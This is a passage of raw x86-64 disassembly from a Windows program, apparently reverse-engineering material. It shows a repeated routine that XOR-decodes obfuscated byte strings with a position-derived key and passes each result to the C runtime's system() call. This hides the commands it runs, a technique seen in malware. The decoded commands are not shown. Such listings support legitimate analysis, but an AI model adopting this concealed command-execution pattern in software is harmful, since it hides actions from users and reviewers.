shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x20
jl 0x1400741b0
jmp 0x1400742f8
mov r9, r10
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x20
jl 0x1400742c0
mov ebx, 4
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2c38]
mov byte [rbp + 0x16], 0
lea rcx, [rbp + 0x16]
call fcn.14005dea0
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x1400744b1
mov r8d, edi
cmp esi, 2
jl 0x140074479
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x30
jl 0x140074370
cmp r8d, 0x33
jge 0x1400744b1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x140074480
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1aa0]
mov byte [rbp + 0x17], 0
lea rcx, [rbp + 0x17]
call fcn.14005dee0
mov r10, rax
cmp byte [rax + 0x1b], 0
je 0x140074671
mov r8d, edi
cmp esi, 2
jl 0x140074639
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x140074530
cmp r8d, 0x1c
jge 0x140074671
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x1c
jl 0x140074640
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2740]
mov byte [rbp + 0x18], 0
lea rcx, [rbp + 0x18]
call fcn.14005dfd0
mov r10, rax
cmp byte [rax + 0x28], 0
je 0x140074831
mov r8d, edi
cmp esi, 2
jl 0x1400747f9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x1400746f0
cmp r8d, 0x29
jge 0x140074831
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x29
jl 0x140074800
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2a10]
mov byte [rbp + 0x19], 0
lea rcx, [rbp + 0x19]
call fcn.14005e000
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x1400749f1
mov r8d, edi
cmp esi, 2
jl 0x1400749b9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x1400748b0
cmp r8d, 0x2d
jge 0x1400749f1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x1400749c0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2e30]
mov byte [rbp + 0x1a], 0
lea rcx, [rbp + 0x1a]
call fcn.14005e040
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x140074bb1
mov r8d, edi
cmp esi, 2
jl 0x140074b79
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x30
jl 0x140074a70
cmp r8d, 0x35
jge 0x140074bb1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x35
jl 0x140074b80
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x29b0]
mov byte [rbp + 0x1b], 0
lea rcx, [rbp + 0x1b]
call fcn.14005e080
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140074d71
mov r8d, edi
cmp esi, 2
jl 0x140074d39
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140074c30
cmp r8d, 0x2d
jge 0x140074d71
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x140074d40
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2d18]
mov byte [rbp + 0x1c], 0
lea rcx, [rbp + 0x1c]
call fcn.14005e0c0
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x140074f31
mov r8d, edi
cmp esi, 2
jl 0x140074ef9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x30
jl 0x140074df0
cmp r8d, 0x34
jge 0x140074f31
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x140074f00
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x20f8]
mov byte [rbp + 0x1d], 0
lea rcx, [rbp + 0x1d]
call fcn.14005e0f0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x1400750f1
mov r8d, edi
cmp esi, 2
jl 0x1400750b9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x140074fb0
cmp r8d, 0x21
jge 0x1400750f1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x21
jl 0x1400750c0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2b98]
mov byte [rbp + 0x1e], 0
lea rcx, [rbp + 0x1e]
call fcn.14005e120
mov r10, rax
cmp byte [rax + 0x2f], 0
je 0x1400752b3
mov r8d, edi
cmp esi, 2
jl 0x140075273
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov edx, edi
movdqa xmm4, xmmword [0x1400a3220]
mov rcx, r10
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov r8d, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x30
jl 0x140075170
jmp 0x1400752b3
mov r9, r10
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x30
jl 0x140075280
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x28c0]
mov byte [rbp + 0x1f], 0
lea rcx, [rbp + 0x1f]
call fcn.14005e080
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x140075471
mov r8d, edi
cmp esi, 2
jl 0x140075439
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140075330
cmp r8d, 0x2d
jge 0x140075471
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x140075440
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2d50]
mov byte [rbp + 0x20], 0
lea rcx, [rbp + 0x20]
call fcn.14005e150
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x140075631
mov r8d, edi
cmp esi, 2
jl 0x1400755f9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
